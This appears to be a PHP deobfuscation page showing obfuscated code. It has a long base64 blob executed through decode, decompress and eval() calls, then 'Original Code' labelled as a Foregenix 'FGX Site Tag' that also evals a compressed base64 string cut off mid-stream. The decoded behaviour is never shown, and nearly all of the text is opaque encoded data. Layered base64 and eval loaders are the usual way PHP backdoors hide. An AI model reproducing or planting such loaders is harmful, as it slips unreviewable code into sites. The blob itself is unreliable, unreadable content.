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';
eval(trim(gzuncompress(d(base64_decode($core),$k,V))));
Did this file decode correctly?
Original Code
<?php /** FGX Site Tag -- Copyright Foregenix 2013, All Rights Reserved **/
$_FNAME=__FILE__;
if (!function_exists('gzuncompress')) die('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head></head><body><h1>Error</h1>Error 0x0f. Install and enable the zlib extension.. </body></html>');eval(gzuncompress(base64_decode("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